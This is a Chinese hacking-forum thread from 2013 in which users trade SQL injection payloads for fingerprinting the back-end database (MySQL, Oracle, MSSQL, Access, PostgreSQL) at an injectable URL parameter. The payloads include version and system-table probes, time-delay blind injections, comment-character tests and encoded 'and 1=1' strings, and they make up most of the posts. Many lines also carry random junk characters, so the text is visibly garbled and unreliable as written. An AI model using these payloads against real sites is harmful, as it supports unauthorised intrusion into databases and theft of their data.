一个注射点如何最快速确认是什么类型数据库

admin

一个注射点如何最快速确认是什么类型数据库
3 ~1 E# B# B6 c+ h% z7 p( i9 e4 mxsser (十根阳具有长短!!) | 2013-02-05 12:36
假设这么一个注射点：
show.html?id=2
mysql:id=2 and version()>0
oracle:id=2 and '1'||'1'='11
其他的欢迎补充
1#
+ b, X# [0 Z' A+ h8 Y9 \upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
" T) N4 w) L8 N5 QAccess:
aNd aSc(cHr(97))=97
7 J& |. p" T3 \4 I& a5 _and exists(select id from MSysAccessObjects)
SQL Server:
9 N8 u  I. X' U0 nand exists(select id from sysobjects)
and length(user)>0
: N) k; e4 Z3 i$ ?" X. `MySQL:
and length(user())>0
2#
xsser (十根阳具有长短!!) | 2013-02-05 12:48
@upload 如果这些都不是呢…
3#
% i' R. G7 W* B0 v& s4 b& G8 r: Vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
@xsser 不快速的，延时注入
: \3 Y+ [) I- U$ q; }不知道这样写对不对
mssql：id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
$ i5 R) `# q4 u; w. g/ y5 wmysql：id=2 and select benchmark(1e8,current_date());
4#
* D& A: B$ m9 w2 q. Bupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
+ m; H# I6 m% i8 J( d2 Q4 Y1 ]$ Y最快的貌似是看报错信息
8 j+ `( e  P8 q$ ^oracle error
3 {  o1 {+ }7 L8 Y' v3 Xmssql error
4 e; Z- x% l( a+ ?* v1 wmysql error
5#
. z3 L! p) v  n0 R' ?Nimda (你们都是坏银～) | 2013-02-05 13:14
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
6#
1 I+ C$ b/ u3 Vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
- P) W4 ^+ ]9 G# z5 b% L“/*”是MySQL中的注释符，返回错误说明该注入点不是MySQL，继续提交如下查询字符：
“–”是Oracle和MSSQL支持的注释符，如果返回正常，则说明为这两种数据库类型之一。继续提交如下查询字符：
“;”是子句查询标识符，Oracle不支持多行查询，因此如果返回错误，则说明很可能是Oracle数据库。
5 V) L* F! |4 B& `5 S! \7#
/ M; h- {) Y$ h5 J_Evil (HackEnd) | 2013-02-05 13:33
PostgreSQL
8#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
切换编码 and 1=1
oracle：
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
9 U# J$ ~& M- x0 Qmssql：
& n  g9 @* X- Q3 sCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
" A7 _# D* P( H; P7 N/ V: _3 ^mysql：
CHAR(97, 110, 100, 32, 49, 61, 49)
2 ?5 e5 J0 k* m3 X) m& A9#
xsser (十根阳具有长短!!) | 2013-02-05 14:31
@upload 比较常见的数据库这些还是可以判断的，但是还有其他奇葩类型的呢？
10#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
: r. H6 t. V' U& W& j# n: q@xsser 是奇葩数据库类型的么？
7 H# A' t1 Y# Z7 ~根据注入的原理，我们可以猜想，要成功的注入，必须使得注入后的一片和谐，那么使用该类数据库特性来判断,综上所述：
2 ?- a7 s4 C, n+ G" \2 B) U1.是否可以使用特定的函数来判断，该数据库特有的
2.是否可以使用辅助的符号来判断，如注释符号、多语句查询符等等
3.是否可以编码查询
. p# P6 T) B$ C- r/ q1 A. e4.是否显可以利用错信息
9 W! p( q; F) {9 F' s( I7 ~5.是否存在数据库某些特性辅助判断
个人见解
11#
小胖子 (z7y壮士，来，干了这碗酒！) | 2013-02-05 14:55
/ N! n  [  F, ^) W  b+ y) {" d已收藏，mssql可以直接看到错误提示的吧～
2 m8 j5 ]+ u) i2 \12#
  E* X8 ^# B7 cPasser_by | 2013-02-05 15:09
% Y) O" N5 |- J  J( U: _曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
from:http://zone.wooyun.org/content/260